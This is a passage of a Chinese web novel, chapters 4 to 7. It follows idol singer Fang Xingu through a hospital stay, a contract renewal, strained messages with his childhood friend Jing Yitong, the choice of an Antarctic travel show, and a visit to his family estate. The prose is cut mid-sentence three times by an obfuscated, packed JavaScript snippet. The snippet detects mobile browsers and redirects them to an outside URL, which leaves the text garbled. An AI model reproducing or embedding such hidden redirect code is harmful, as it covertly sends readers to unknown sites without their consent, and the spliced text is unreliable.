在齐邱的碎碎念中,方新故直愣愣地看着那支药膏,大脑发懵。 齐邱还在苦口婆心:“算了,你没事就好,年轻人要多爱惜自己的身体,省得以后老了一堆毛病……” 方新故却充耳不闻,满心满眼只有那支药膏。 他感觉有点头晕目眩,过了好一会儿才回过神来,哑着嗓子用略带鼻音的声音问: “景亦同来过?” 4. 第 4 章 齐邱的念叨声戛然而止,他震惊了,怎么也没想到方新故昏睡大半天后醒来的第一句话竟是这个——景亦同来过? 齐邱环视一圈病房,呆滞地看向方新故:“请问你是怎么在这个空荡荡的病房里突然联想到景亦同的……你俩心有灵犀啊?” 方新故也愣了:“真是他?” 其实他刚才就是懵了,才没过脑子随口一说,毕竟景亦同现在应该还在燕省拍戏,怎么可能会出现在申市,而且齐邱也不知道他和景亦同的关系。 但现在看齐邱的反应,难道景亦同真来过? 齐邱见方新故的视线落在床头柜,便追着他的目光看去,就看见了床头那支药膏,他不敢置信:“就凭这个?” “猜的,”方新故挡住嘴咳嗽几声,“他就喜欢这么挤药膏。” 那支特米斯地显然已经用了一些,使用者为了将底部的药膏挤上来,而将包装尾部卷了起来,那是景亦同惯用的手法。 齐邱:“这也行?你们还真是、还真是……” 齐邱“还真是”了半天也没说出什么有建设性的内容来。 病房中静默了一会儿,方新故才继续问:“他回剧组了?” “说是要赶凌晨的航班,待了一会就走了,”齐邱接完话才觉得不对,“你又知道了?” “猜的。” “你神算啊。” 其实方新故想的是,如果景亦同不是有急事,肯定不会走得这么匆忙,起码也会等到他醒了再离开。 不过景亦同昨天怎么在申市,又怎么知道他住院了? 方新故正想着,齐邱伸腿勾了个椅子过来,在病床边坐下:“之前怎么没听你提起过和景亦同的事。” “……我俩能有什么事?”方新故斟酌着回答,“其实我俩不熟。” “不熟个屁啊!”齐邱以为方新故在糊弄他,“‘不熟’你这么了解景亦同?‘不熟’景亦同说他是你哥哥?‘不熟’你妈说你们两家是世交,你俩从小一起长大的?你别忽悠我,我现在可是掌握了很多情报的!” 齐邱的三个连问让方新故如鲠在喉,如果可能,他也不想用“不熟”来形容自己和景亦同的关系,可事实是,他和景亦同确实已经很久没有联系了,当得起“不熟”二字。 “……只是小时候玩伴罢了,又不是亲兄弟,这么多年过去,生疏了不是很正常。” 方新故语气认真,也不知道是在说给齐邱听,还是在说给自己听。 齐邱总感觉有哪里不对,但仔细一琢磨,又觉得也挺有道理。 齐邱败下阵来:“好吧,信你一回。” 如果这两人并没有他想象得那么熟,那按方新故的性格,确实也不会刻意提起自己和景亦同的关系。 方新故拖着沉重的病躯爬起来,准备去冲个澡:“音响的事调查清楚了吗?” “还在调查,但很有可能是人为的。” 这世上哪有那么多巧合,方新故其实心里也有底:“树大招风。” 齐邱点头:“看来就算Nebula解散了,以后的日子也不会太平。” 这回方新故没接话,齐邱也没在意,他坐在板凳上悠闲抖腿,听着卫生间里响起的花洒水声,才突然反应过来自己忘了件要事—— “以后的日子也不会太平”的前提是还有以后,他现在还能有以后吗? 方新故还没答应要续约呢! 齐邱一拍大腿,他知道方新故对娱乐圈一直没什么兴趣,就连他最初决定参与《星途》,其实也只是为了还节目制作人的人情。 当年《星途》录制前一天,几个国外练习生突然跑路,制作人找不到人救场,只能临场向方新故这个熟人求助,找他来凑个人头。方新故也没怎么上心,当时正值暑假,只想着随便唱几首歌然后赶紧淘汰,别耽误他开学就好。 结果没想到节目播出后便一发不可收拾。 方新故的长相已经足够出色,偏偏他又不是花瓶,开口就让人惊艳的唱功更是收割了无数粉丝。 比赛到最后,方新故一个纯素人,竟然真的凭借粉丝们的一票又一票C位出道。 或许有的人天生就适合站在舞台上。 可方新故实在是没什么事业心,出道这几年,他拒绝了所有单人活动的邀请,无论是综艺演出还是商务广告,他一概不接,简直就像是在自己防爆自己。 但又不能说他摆烂,因为方新故从不缺席任何一场Nebula的团体活动,甚至还给组合写了好几首歌。 这几年来,方新故可以说只为Nebula活动,那Nebula解散之后,他还会继续留在娱乐圈吗? 这事连齐邱都没底,毕竟就像叶玟连说的,他只是个挂件经纪人。 Nebula有专门的经纪团队,组合活动都由团队负责,而方新故又拒绝了所有单人活动,这就导致齐邱从来没发挥过半点作用——不,也不是完全没有,除了对接工作外,起码他还充当了方新故粉丝的出气筒。 选秀出道的偶像明星,粉丝之间总少不了各种摩擦,每当方新故被人嘲笑资源差时,粉丝转头就要来鞭尸齐邱这个经纪人没利用好方新故的流量。 齐邱也只能无能狂怒,他当年就是鬼迷了心窍,才会同意用那么宽松的合约签下方新故,导致现在对方新故半点约束力都没有。 齐邱在无数个深夜看着被粉丝戳爆的私信,都想把方新故吊起来打,但考虑到真要打起来自己的体格估计只有挨揍的份,也只好作罢。 回忆完这几年卑微的时光,齐邱长叹一口气,哀怨的眼神如有实质,几乎要把刚洗完澡出来的方新故给灼伤。 方新故莫名其妙:“干嘛?” 齐邱盯着他:“我们合约只剩最后三个月了,你到底续不续约?” 方新故下意识避开了齐邱的视线,其实他原本是不想续约的,本来他入行只是个意外,现在也兑现了当年对粉丝的承诺,陪Nebula走到结束了,但是…… 方新故脑海里忽然闪过了许多画面,从第一次登上舞台时的紧张不安却又隐隐期待,到最后一次在舞台上和队友相拥时炙热的心跳。 最终,定格在了他站在台上时,看到无数粉丝为他应援的场景。 那是很震撼的一幕,虽然看不清台下的面孔,但却能清晰地感受到上万人的视线同时聚焦在自己身上。 那目光中满是期待,迸发着真挚而又纯粹的喜爱,热烈到能融化所有坚冰。 方新故也会好奇,粉丝们的喜欢究竟从何而来,这种注定不会得到等量回应的爱又能坚持多久。 而他自己呢? 是真的不喜欢站在舞台上,还是只是装作不在意? 方新故回忆着过去四年的时光中,自己每次登台时的心情。 噗通、噗通。 他听见自己的心跳声明明还残留着昨天演唱会时的激动与澎湃,这样的情绪,怎么可能是不喜欢? 他或许早就在不知不觉间喜欢上了那种站在舞台上的感觉。 既然喜欢,为什么不能试试? 短短几分钟,方新故考虑了很多,但当他再次抬起头时,显然已经做好决定。 “续吧,商务和活动你也可以看着接。” “你真的不能再……啊?”齐邱片刻后才反应过来方新故说的是什么,他直接从椅子上蹦起来,“你同意了?!” 方新故:“嗯,但是也别接太多活,我以后想往歌手的方向发展,你得给我留点时间做专辑。” 齐邱半天才回过神来,他简直感动到要落泪,方新故不仅同意续约,而且还向他袒露了自己的职业规划。 他这个经纪人终于有用武之地了! 一回到专业领域,齐邱充满了干劲,他感觉放眼望去未来尽是坦途,一片康庄大道任他驰骋:“我懂!现在Nebula刚刚解散,正是趁热打铁的时候,我的计划是你先上个综艺,保证曝光度。” 方新故一听就萎靡了,跟齐邱干瞪眼:“一定要上综艺?” 他这种跟生人不想说话,跟熟人懒得说话的沉闷性格,怎么想都觉得上综艺会很灾难。 “放心吧,我对你有信心,”齐邱啧了一声,“再说你本来就是选秀综艺出身的,再参加个综艺有什么好怕的,是能有选秀苦还是能有选秀累?” 方新故看着准备大干一场的齐邱,感觉自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060113|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己以前确实是限制他的发挥了,抱着一丝愧疚同意:“行吧。” “那就这么定了,”齐邱盘算着,“综艺是要上的,商务代言也不能少,不过艺人嘛,还是要靠作品说话,所以最关键的还是你的第一张专辑,你是想直接出正规专还是先出张EP试试水?我好安排时间。” “出正规专吧,我之前就写了几首歌了,最近正好整理一下,其他的可以先按你的计划来。” 齐邱点头:“可以,不过正规专制作周期比较长,中间看情况可以插点ost……算了先不说这个,我这里攒了不少综艺邀约,都在车里,我去把电脑搬上来给你看。” 说完,齐邱风风火火地出去了。 方新故又病殃殃地躺回了病床上,他拿起手机,才发现Nebula的相关话题已经霸榜热搜,他随意点开热搜一位“Nebula演唱会”的实时评论—— “昨晚的《星途》超神了,建议Nb出个纯享版救救我的耳朵。” “别想了,Nb都解散了谁去给你录?” “哥几个都要解散了你们竟然还有我不知道的惊喜!” “好听是真的,尤其方新故那声音一出来我直接灵台清明,如听仙乐耳暂明!” “客观点评,昨晚伴奏刚断的时候我还以为会变成车祸现场,结果没想到你们Nb竟然真的有点实力在身上,比消音版的好听。” “但是伴奏没声之后其他六个人第一反应齐刷刷看方新故的样子真的很搞笑哈哈哈。” “最后七个人抱一起那里给我看哭了,我们小Nb呜呜呜,到底谁总造谣他们关系不好。” “只有我在担心Nb解散之后方新故不会直接退圈吧,他好像到现在都没跟乘风娱乐续约……” “补药啊,我们糊坛需要天降紫微星!” “笑死我了故丝还在梦紫微星呢?大主唱粉天天做梦,其实离了Nb0个人在意你家哈[调皮]” “dyj红眼病又犯了,昨天要是没有fxg救场你就等着你担出丑吧白眼]” “吵架暂停!我只关心昨天方新故在后台晕倒的事啊啊啊!” 方新故早对各种掐架免疫了,直到看到这条评论,他才发现自己昨天在后台晕倒的事也上了热搜。 他点进相关话题,发现虽然齐邱昨晚已经澄清他并没有大碍,但粉丝还是很担心,网上说他被公司压迫的言论更是层出不穷,到处都在推测他是不是准备退圈了。 方新故赶紧发了条微博报平安,又打开微信跟父母和队友们打了声招呼。 昏睡了大半天,他手机里积攒了不少未读消息,甚至许素波也发来了慰问消息。 许素波:你怎么突然晕倒了?该不会是因为景亦同要结婚,受到的刺激太大才昏过去了的吧? 许素波:我真该死,我为什么要在你演唱会的时候跟你说这些[流泪] 方新故太阳穴抽疼,他回复:你看消息只看半截?没看我经纪人说了我是因为连着几天高烧不退才晕倒的。 明明相隔了十二个小时的时差,许素波却秒回:骗鬼呢?哪个傻缺烧了这么多天还不去医院打针挂水。 方新故:…… 听起来确实缺心眼,但他每次退烧后,必定会伴随严重的鼻塞和咽喉肿痛,非常影响演唱会发挥,否则他怎么会硬抗这么多天。 可许素波偏就不信,方新故只能点开和应箴的聊天对话框,翻到自己刚才发给应箴的病历本照片,准备转发给许素波自证清白。 恰好这时齐邱去而复返,病房门被砰的一声打开,正在选择转发对象的方新故吓得手一抖,一不小心摁到了位于许素波对话框上方的、被他置顶的景亦同的对话框上。 “发送给:‘哥’——取消/发送。” 方新故噌得一下坐起来,不小心选到景亦同了! 好在还能补救,方新故连忙想点取消,谁知齐邱带着一电脑资料回来,兴奋地一巴掌拍在他胳膊上。 方新故虚弱的病躯被他拍得整个人一歪,指腹好死不死擦到了“发送”。 屏幕上顿时弹出一行字:“√已发送。” 方新故倒吸一口气:“啊!!!” 5. 第 5 章 齐邱被这动静吓得往后一退,认识方新故四年,这还是第一次见他有如此大的情绪起伏:“你干嘛?” 方新故看着成功发送给景亦同的消息,两眼发直,恨不能让时间倒流:“要不我还是退圈吧。” 齐邱现在根本听不得“退圈”这两个字,一下就应激了:“你别想反悔!” 方新故迷迷瞪瞪:“我是说退出生物圈。” 齐邱:…… 齐邱嘟囔:“真把脑子烧坏了?都开始说糊话了。” 他翻起病床的桌板,根本没把方新故的话放心上,他把刚搬上来的电脑放到方新故面前:“这些都是最近的综艺邀约,你先自己看看有没有感兴趣的,我去跟钟总说一声续约的事,歌手的合约还是要注意点的,到时候你自己也上点心。” 齐邱来也匆匆去也匆匆,很快又消失在病房里。 方新故现在没空搭理那些工作,他点开和景亦同的对话框,想赶紧撤回消息,但又想到这次并非消息发错人这么简单,即使自己第一时间撤回,但景亦同还是能看到自己刚才给他发了消息的痕迹。 而他介意的也不是让景亦同看到自己的病历,而是单纯介意和景亦同开启一段对话。 他还不知道该怎么面对景亦同。 但很快,方新故就连犹豫的机会也没有了,因为他看到对话框上方,景亦同的名字突然变成了“正在输入中”五个大字,当即心下一凉,甚至想把手机丢开。 什么剧组这么闲,景亦同还能秒回消息! 可景亦同的回复来得比方新故想象的还要快,咻的一声就出现在屏幕上。 景亦同:嗯,你的病历昨天晚上我已经看过了[摸小猫头.gif] 方新故抱头装鸵鸟,尴尬到想挖个坑把自己埋了。 好在景亦同并没有深究,他显然更关心方新故的身体状况,又追问:现在怎么样,退烧了吗? 景亦同简单的一句话,却让方新故如临大敌,他飞速思索现在该怎么回复,才能不让向来敏锐的景亦同察觉到他的任何异常。 方新故深呼吸强迫自己镇定下来,故作冷静地回复:已经退烧了,谢谢你昨晚的药膏。 与此同时,手机另一头燕省《绿水川》剧组,瑟瑟秋风吹拂而过,大地上传来草叶摩擦的簌簌声,景亦同额前的碎发随风飘动,他皱眉看着自己和方新故的聊天界面——好冷淡的语气。 剧组里人来人往,景亦同捧着手机避开人群,屈着长腿坐在剧组外围的小马扎上,继续聊:跟我还客气?药膏本来也是替你备着的。 看着景亦同的回复,方新故感觉自己刚刚冷却下来的心又开始躁动了。 所以那药膏不是景亦同特地去买的,而是他一直随身带着? 方新故盯着景亦同的头像,兀自生起了闷气,都要结婚的人了,还对他这么好干嘛? 可惜景亦同的头像实在让人生不起气来,他头像是只可爱的萨摩耶,跟景亦同的气质大相径庭,但看着小狗傻笑的模样,方新故像是被扎破皮的气球,瞬间没了脾气。 归根结底,他会喜欢景亦同绝对不是他的问题,要怪就怪这些年景亦同对他实在太好,才让他在这个感情泥潭里面越陷越深。 方新故有气无力地回复:湿疹还没好,估计还要涂几天药膏。 景亦同:药膏不够就去找钱医生,我跟他打过招呼了。 方新故在床上调整了个舒服的姿势,慢慢回复:OK,等会儿我再去皮肤科看下。 景亦同:最近巡演压力很大吗,湿疹怎么又复发了? 方新故顿了顿,巡演压力肯定是大的,但……只是因为这个吗? 情绪可以压抑,但身体反应却骗不了人。 方新故深吸一口气,不敢深思引起自己身体问题背后的原因,只是回复:是啊,加上又发烧,可能抵抗力下降了吧。 景亦同:这两天要好好休息,晚饭吃了没? 方新故:吃了,不过医院配餐太清淡,没吃几口。 景亦同:[烤全羊.jpg] 景亦同:我们剧组吃这个。 方新故:?你不是不吃羊肉。 景亦同:发出来纯馋你[狗狗祟祟.jpg] 方新故:[脏话猫猫头.jpg] 景亦同:帮你在医院楼下粤菜馆叫了外卖,都是你爱吃的,等会多吃点。 方新故:……但我现在想吃烤全羊了[微笑] 景亦同笑了:怪我怪我,过两天给你真空邮一只回来? 方新故叹气:别了,这个得吃新鲜热乎的。 景亦同:那来燕省吃吧,这里风景也好。 景亦同随手拍下周围的景色发给他,那是一片苍茫无垠的大地,几只牦牛正在闲散漫步,远处耸立着几座高山,画面中斑斓的色彩让人心生无限向往。 景色真的很美,烤全羊也真的很想吃。 方新故托着下巴,心里确实有点蠢蠢欲动,反正后面这段时间应该不会马上有工作,不如去……不对,他怎么还真跟景亦同聊起来了! 差点忘了自己还在失恋。 今时不同往日,景亦同可以不和他保持距离,但他却不能再像以前那么没有边界感。 方新故一下缩回自己的蚌壳里,淡淡回复:嗯,以后有机会再去。 景亦同一僵,他辛辛苦苦聊了半天,好不容易看方新故的态度有所软化,怎么突然间又冷漠起来了? 他哪句话说错了吗? 景亦同把两人的聊天界面往上划了划,其实他已经很久没有像今天这样和方新故闲聊过了,上一次聊天还要追溯到方新故生日那天,但当时他们也只是简单说了几句就没有后文了。 景亦同又试探着问:Nebula解散后你有什么打算? 方新故:听经纪人安排。 景亦同:…… 好了,可以确定了,方新故就是在生气,而且还是很难哄的那种。 “景老师,孙导叫你过去!” 后方传来剧组工作人员的呼唤声,景亦同应道:“来了。” 说完,他最后看了一眼手机,起身向人群走去。 没事,难哄也没关系,他有的是时间慢慢哄。 . “这四个综艺邀约是我初步筛选过后,确定内容、制作团队都还可以的……方新故你有没有在听我说话!” 齐邱的声音在方新故耳畔炸开,方新故神游天外的思绪终于收拢,他镇定道:“在听,就这些?” 齐邱以为他压根没认真看:“你能不能看仔细点。” “我感觉都不大适合,”方新故点点小桌板,“第一份是竞技类,这个体能消耗太大,但我现在需要静养,pass。第二份是经营类,要起早贪黑,我也不是什么吃苦耐劳的人,pass。” “第三份生活类综艺,这节目现在要录第四季,但常驻基本还是前三季的原班人马,嘉宾之间关系本来就很好,粉丝也爱看他们的互动,我去了也很难融入,pass。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060114|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>齐邱额角突突跳:“那第四份呢?” 第四份是个旅综,相较于前三个,这个旅综确实没什么太大的缺陷,唯一称得上不足的,就是旅游的目的地——燕省。 燕省,那是景亦同目前所在的地方,而且算算时间,这个综艺去燕省录制的时候,《绿水川》应该还没杀青。 虽然燕省很大,但方新故不想有一丝一毫撞见景亦同的可能。 不过这话肯定不能直接告诉齐邱,于是方新故含糊道:“没什么,就是我单纯不想去燕省。”主要是不想去燕省见景亦同。 “……你当是去度假呢,还挑上了,”齐邱哀嚎,“你怎么这么难伺候?” 方新故:“没其他的了?我再看看。” 齐邱生无可恋地打开另一个文件夹,方新故翻了翻,里面各种综艺五花八门,剔除几个特别不靠谱的后,方新故的目光落在另一档旅游综艺上。 这回,引起方新故注意的同样是旅游的目的地——南极。 方新故翻了几页策划的内容,旁边的齐邱注意到他认真的神色,好奇瞄了一眼,但当他发现方新故看的是《世界之大》时,齐邱当即把鼠标从方新故手上抽走。 方新故抬头:“怎么?” 齐邱揉揉鼻子:“这个还是算了。” “为什么?这策划我看了,感觉还不错。” “这节目资金有限,穷啊,”齐邱解释,“策划不过是纸上谈兵,录制后期制作宣发哪个不要钱?但这么穷的节目组,根本请不到什么好的团队,我听说甚至连嘉宾都凑不齐。要不是这综艺的总导演是我老同学,我根本不会收下这策划。” “都老同学了你还不帮帮忙?”方新故埋头吃外卖,抽空道,“而且这综艺还有直播企划,看起来挺会炒热度的。” 齐邱看着他那份虽然看着清淡但色香味俱全的外卖,突然问道:“不是刚吃完晚饭,你哪儿来的外卖?” “景亦同给我点的。” 齐邱皱起脸:“我真服了你俩。” 方新故抬头:“你别以为我不知道你在转移话题。” 齐邱的小心思被戳穿,只好把话题又转回来:“就《世界之大》这个直播其实也劝退了很多人,直播没有剪辑兜底,说错一句话都有可能完蛋,你行吗?” 方新故怪了:“你是没看过《星途》吗?” 齐邱哽住,确实,《星途》这档选秀综艺中也包含了大量的直播内容,尤其方新故作为人气最高的选手,每天都要被无数双眼睛盯着,但他从来没出过岔子。 对方新故而言,直播算是轻车熟路,根本没什么好担心的。 但这可是方新故的第一个单人活动,齐邱老妈子心态起来,还是想有个更为稳妥的选择:“还是换一个吧,你再挑挑,总有更合适的。而且南极多冷,你的身体现在得好好养。” 更主要的是他觉得这个综艺的热度会比南极的温度更冷。 可方新故的眼睛怎么也没法从《世界之大》的策划案上挪开,他回想起了一些往事:南极啊……还真有点想去。 方新故清清嗓子给自己争取:“节目录制的时候是南半球的夏季,而且只是去南极洲,又不是去南极点,航线途径区域的温度不会太低。” 齐邱笑得很核善:“你就是自己想去南极玩吧?” 方新故心虚地低头扒饭。 齐邱语重心长:“你想清楚,这节目真的毫无热度可言。” 方新故打了个响指:“我去了不就有热度了?” 6. 第 6 章 齐邱有点好笑:“你倒是自信起来了。” 但方新故说得不无道理,现在方新故的热度在圈内确实无人能及,说句顶流也不为过。 齐邱还想再劝劝,但看方新故那张高烧过后没有血色的脸,神色也恹恹的,整个人一副疲态,齐邱顿时就有点心软了。 算了,自家艺人想去还能怎么办,宠着呗,左右不过一个综艺罢了,而且起码是去熟人组的局,不用担心被节目组恶剪。 齐邱知道自己拗不过方新故,最后只能妥协,帮方新故去接洽《世界之大》节目组。 他直接找到自己的老同学兼导演严途打听情况:“你们《世界之大》的常驻找齐没?” 严途正愁着:“七个常驻,本来确定了五个,昨天跑了一个,现在只剩四个了。” 齐邱越听越心寒,这节目到底是有多糊,连人都找不齐,他心惊胆战地问:“目前确定了谁?” 严途怪了:“干嘛?这么关心我节目,你要给我介绍人啊?” 齐邱:“……我准备把我手底下的艺人给你送来。” 齐邱现在只带了方新故一个艺人,严途听了压根没当真,毕竟以方新故的热度,怎么可能自降身价来他们这节目? 严途还以为齐邱在开玩笑,顺着他哈哈笑着:“方新故?那感情好,赶紧把人给我送来。” “嗯,那约个时间我们详谈。” 严途越听越觉得不对劲:“你认真的?” 齐邱:“昂。” 严途这才反应过来,他大叫:“卧槽!!!真的假的?” “……骗你我有什么好处?” 严途猛拍大腿:“你对天发誓不能反悔不能骗人啊!我现在开录音,你重新说一遍,我要留证据!” 这是什么天降五百万的好事! 不,不对,方新故能带来的效益岂止五百万! 严途兴奋地哇哇叫,齐邱却听得咬牙切齿:“你差不多得了。” 严途鬼叫了半天才冷静下来,语气略有些羞涩地夹着嗓子:“但是我们经费有限,可能付不起方老师的通告费,看在老同学的面子上,你能不能给我打个折?” 齐邱:…… 严途又补了一句:“嘶,不对,方老师能不能直接带点资源来赞助一下我们节目?” 齐邱拳头硬了:“连吃带拿啊你!” 捡了大便宜的严途乐得嘿嘿直笑。 一通电话打完,齐邱心里哇凉哇凉的,这到底是个什么又穷又糊的节目组。 齐邱满面愁容地对方新故道:“Nebula解散后,你的队友有进组大ip大项目的,有去录制高热度综艺的,再看看你呢?你自己不觉得,粉丝也会有落差的。” 方新故想到刚才热搜上评论,眼神有些飘忽:“我觉得她们现在应该比较担心我会退圈。” 齐邱沉默:……好有道理。 毕竟几个小时之前,就连他这个经纪人也在担心方新故会退圈跑路。 . 病来如山倒,方新故也没想到自己这次会病得这么严重,好不容易退了烧,湿疹却迟迟不见好转。钱医生来帮方新故看了几次,最后只得出个或许是情志病的结论,嘱咐方新故放平心态,别给自己太多压力。 结果湿疹还没好,没过几天方新故又感染了肺炎,前前后后在医院折腾了一个多月,才终于康复出院。 这时距离《世界之大》录制还有一个月时间,方新故决定回江城老宅住一段时间散散心。 江城离申市不过一个多小时的车程,方新故趁着夜色驱车回到方家老宅。 那是座极大的园林宅邸,方新故穿过一众亭台水榭,来到了老宅的主楼。 咚咚—— 房门被敲响,屋里的人道:“进来。” “奶奶,我回来了。” 方新故推门而入时,王锦絮正在屋里踱步。 王锦絮今年七十多岁,但风度优雅、气质极佳,即使岁月在她脸上留下了光阴的痕迹,但依旧能窥见她年轻时的美。她一头花白的头发梳了个发髻挽在脑后,穿着优雅大方,但那双眼睛却极为凌厉。 她盯着方新故瞧了一会儿,灯光下,方新故那一头白金色的头发虽有些褪色却仍熠熠生辉,粉丝看了都夸是天神下凡,可在老太太眼里却十分碍眼,尤其方新故的发根早就黑了,一个头上两种颜色,王锦絮看得嫌弃:“什么头发。” 方新故扒拉了一下自己的发丝:“……工作需要。” 方新故的童年时期,有相当长一段时间是由王锦絮带大的,但王锦絮并非那种慈爱的长辈,相反她相当严格,尤其作为知名歌唱家,在发现方新故有声乐天赋后,便硬拉着年幼的方新故开始了长达六年的严格训练,即使方新故对此毫无兴趣。 直到十二岁那年,方新故跟着父母搬到了申市,才摆脱这种高压生活。 但仅仅过了十多年,当年那么讨厌音乐的方新故,现在却吃上了音乐这碗饭,或许这就是命运。 方新故:“您在屋里走来走去干嘛呢?” “晚饭吃多了,有点胀,”王锦絮抬头看着方新故瘦削的脸颊,皱起眉道,“这次准备回来住多久?” “大概一个月吧。” 王锦絮睨他:“身体好了还不去工作,最近这么闲?” 方新故开始胡说八道:“嗯嗯,准备退圈回家躺平啃老。” “……没个正形,”王锦絮在他背上糊了一巴掌,这祖孙俩也是话不投机,聊了没几句,王锦絮就赶人走,“行了,你走吧,少在这里烦我。” 方新故也不多留,挥挥手便一个人拐回了自己的小楼。 小楼位于园林西侧,不大,但也有三层楼高。他有一段时间没回过老宅,好在王锦絮提前安排人打扫过,此时房间里干净整洁,没落一点灰。 一走进房间,方新故就把自己的行李分门别类收拾好,还从里面拿出了几块木头和几把刻刀放进抽屉里。 等收拾完行李,他一抬头,就透过窗户看到了与方家仅仅一墙之隔的景家,而位于景家最东面、与方新故的小楼挨在一起的那栋楼,正是景亦同的小别墅。 不同于方家的中式园林,景家建的是很现代化的别墅群,这一中一西两种风格放在一起本该有点突兀,好在中间有树丛池潭和小花园做隔断,倒让两种不同风格的建筑相得益彰。 方新故凝神看着,突然伸手比划了一下:他和景亦同的住所是不是隔得太近了? 这会儿景亦同房间没有拉窗帘,他甚至能看到对方屋里的陈设。 放在之前倒不觉得有什么,但以后景亦同结婚了,这样肯定不方便,私密性太差,还是得做个隔断。 方新故心里琢磨着,多少有点心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060115|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦意乱,他一把拉上窗帘,只是动作幅度太大,一不小心把桌面上的相框打翻了。 他拾起相框,才发现里面是一张自己和景亦同的合照。 看着照片上的画面,方新故有些愣神,那应该是他第一次和景亦同一起去滑雪。 那天很冷,两个少年穿着同款不同色的厚实滑雪服,抱着滑雪板肩并肩站在一起,全身上下只露出了被凛冽寒风吹得微微发红的脸,但却笑得很开心。 那笑容太过纯粹太过明媚,以至于跨过近十年时光,仍能让现在的方新故为之一笑。 时间过得真快。 方新故的手拂过相框,突然又想到好像在拍完这张照片之后,他和景亦同就开始了漫长的分别,后来他们没再拍过合照,更没再一起出去旅行过。 恐怕现在他和景亦同即使再站在一起,也不可能再露出这样真挚的笑容。 好像所有的细节都在提醒他,不论自己和景亦同以前有多亲密,但他们注定不会有未来。 方新故敛去脸上的笑意,他长叹一口气,将照片塞进了抽屉深处。 这种乱人心神的照片还是少看为妙。 收拾完行李已经很晚了,方新故洗完澡躺上床准备睡觉,可不知是不是受到那张合照的影响,方新故又梦到了他们当时一起去滑雪的场景。 那时方新故还没有意识到自己喜欢景亦同,因此对他而言,那次高一寒假的滑雪之行不过是一次普通的出游。 他和景亦同都是第一次接触滑雪,两人在滑道上摔了好多跤,互相搀扶着站起来,最后又一起摔倒,一天下来身上没摔疼,反倒是嗓子笑疼了。 但那次旅程最后却草草收场,因为彼时高二的景亦同突然决定要参加艺考,他得利用寒假开始集训,所以旅途刚过半就得离开。 在睡梦中,方新故又回到了景亦同离开的那个晚上。 异国他乡的夜晚,下着鹅毛大雪,得知景亦同要提前离开,方新故裹了件外套匆匆跑下楼送他,一直目送着景亦同走进漫天飞雪中。 其实他是舍不得景亦同走的,他很想叫住景亦同,想让他晚几天再走,但又知道不能耽误景亦同的课业,所以只是安静地看着他离开,什么也没有多说,只是在景亦同回首时,朝他挥手道别。 如果当时叫住景亦同,结局会有所不同吗? 黑夜中,卧床上的方新故挣脱梦境睁开眼,拿过手机一看,凌晨两点四十一,他才睡了一个多小时。 方新故合上眼,试图再次进入梦乡,可惜辗转反侧,却怎么也找不回溜走的睡意,脑海中全是那个雪夜景亦同离开时的细节。 他吐出一口气,觉得自己有点可笑,那些陈芝麻烂谷子的事到底有什么值得挂怀的,就算他当时叫住景亦同又能怎样? 景亦同或许会留下来,但也只会陪他到这段旅程结束,最后还是要走的,结局根本不会因为这么一件小事而改变。 方新故心里想得通透,但身体却很诚实的睡不着了。 一丝的酸涩攀上方新故的心头,或许是一到夜深,人的思绪就容易不受控制地不断延伸,开始胡思乱想。 方新故怎么也想不明白,景亦同到底为什么会接受联姻,现在都什么年代了,怎么还有联姻这种封建糟粕! 就连他们家这种算得上传统的家庭,也从来没人敢跟他提联姻这种事! 7. 第 7 章 方新故琢磨了一晚上,越想越憋闷,他本来大病一场后就体虚,这会儿后脑勺又开始一阵一阵地抽疼。 憋了一肚子气无处发泄的方新故干脆不睡了,起身拉开窗帘,皎洁的月光倾泻而下,方新故坐到钢琴前,借着月光胡乱摁动琴键弹出了一段旋律。 只是这曲声一点也不悦耳,甚至称得上晦涩生硬,再加上方新故泄愤般的弹奏多少带点怨气和怒意,指尖落下时带了十成的力道,直把钢琴弹成了打击乐。 好在这是独栋小楼,不然非得被投诉半夜扰民不可。 同样的旋律弹了三四遍,方新故突然又定住不动了。 像是出够气了一般,他叹了口气,安静地盯着窗外看了足有十几分钟,等再回过神来时他已经平静下来,他垂眸看向黑白的琴键,轻抬起手让指尖再次落在琴键上,重新弹出了一段旋律。 明明还是原来的曲调,但其中滞涩的部分被调整得悠扬婉转,只是曲子的基调仍然是惆怅而沉重的,像是在怀念什么。 琴声就这样一直响到天亮,当窗外传来鸟雀的啼鸣,天空泛起鱼肚白,一个夜晚终于过去。 方新故疲惫地揉揉眼睛,把这段旋律录制下来,才起身走到阳台透气。金秋十月,清晨带着凉意的微风拂起方新故的发丝,也抚平了他躁动的心。 方新故正漫无目的地望着远方,就听到楼下传来一阵狗吠。 “汪!汪汪!” 